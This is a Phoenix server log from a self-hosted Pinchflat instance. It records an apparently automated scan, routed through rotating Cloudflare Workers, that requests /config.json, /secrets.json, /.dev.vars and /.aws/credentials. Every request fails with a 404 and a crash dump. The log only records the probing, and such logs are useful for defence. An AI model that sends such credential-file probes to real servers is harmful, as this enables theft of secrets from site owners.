"cf-ray" => "a200fdba198cbfbb-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "abagoforgans.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "172.68.71.97", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 7, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3736.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-connecting-ip", "34.139.141.56"}, {"cf-ew-via", "15"}, {"cf-ray", "a200fdba198cbfbb-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "abagoforgans.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua-mobile", "?1"}, {"sec-ch-ua-platform", "\"Android\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36"}, {"x-forwarded-for", "172.68.71.97"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/config.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHL4SW_jQeq4AAWRB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-connecting-ip" => "34.139.141.56", "cf-ew-via" => "15", "cf-ray" => "a200fdba198cbfbb-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "abagoforgans.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "172.68.71.97", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 7, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-connecting-ip" => "34. (truncated) 02:50:31.738 [info] GET /secrets.json 02:50:31.739 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=64.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:31.739 [debug] QUERY OK source="settings" db=0.2ms idle=65.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:31.739 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:31.739 [error] #PID<0.3737.0> running PinchflatWeb.Endpoint (connection #PID<0.3727.0>, stream id 8) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /secrets.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fdba4ef606f8-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "jjsnba454449vzvy.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "172.71.22.138", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 8, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3737.0>, params: %{}, path_info: ["secrets"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200fdba4ef606f8-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "jjsnba454449vzvy.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0"}, {"x-forwarded-for", "172.71.22.138"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/secrets.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHL7xed6xp08AAWSB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fdba4ef606f8-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "jjsnba454449vzvy.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "172.71.22.138", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 8, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fdba4ef606f8-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "jjsnba454449vzvy.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "172.71.22.138", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, meth (truncated) 02:50:31.792 [info] GET /.dev.vars 02:50:31.793 [debug] QUERY OK source="settings" db=0.2ms idle=118.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:31.793 [debug] QUERY OK source="settings" db=0.1ms idle=68.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:31.793 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:31.793 [error] #PID<0.3738.0> running PinchflatWeb.Endpoint (connection #PID<0.3727.0>, stream id 9) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.dev.vars ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.dev (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.dev.vars", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fdbaefd2672d-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "axtdd1aa2edeo5bh.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "172.69.70.129", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 9, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3738.0>, params: %{}, path_info: [".dev"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200fdbaefd2672d-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "axtdd1aa2edeo5bh.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua", "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"macOS\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"}, {"x-forwarded-for", "172.69.70.129"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.dev.vars", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHMIvUvKSfusAAWTB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.dev.vars", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fdbaefd2672d-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "axtdd1aa2edeo5bh.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "172.69.70.129", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 9, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.dev (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.dev.vars", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" (truncated) 02:50:31.834 [info] GET /.aws/credentials 02:50:31.834 [debug] QUERY OK source="settings" db=0.2ms idle=109.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:31.834 [debug] QUERY OK source="settings" db=0.0ms idle=95.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:31.835 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:31.835 [error] #PID<0.3739.0> running PinchflatWeb.Endpoint (connection #PID<0.3727.0>, stream id 10) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.aws/credentials ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.aws/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/credentials", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fdba1e806759-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "754c420b2thb.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "172.69.70.128", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 10, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3739.0>, params: %{}, path_info: [".aws", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200fdba1e806759-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "754c420b2thb.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua", "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"tailscale-funnel-request", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"}, {"x-forwarded-for", "172.69.70.128"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.aws/credentials", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHMSmV1pgI10AAWUB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/credentials", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fdba1e806759-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "754c420b2thb.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 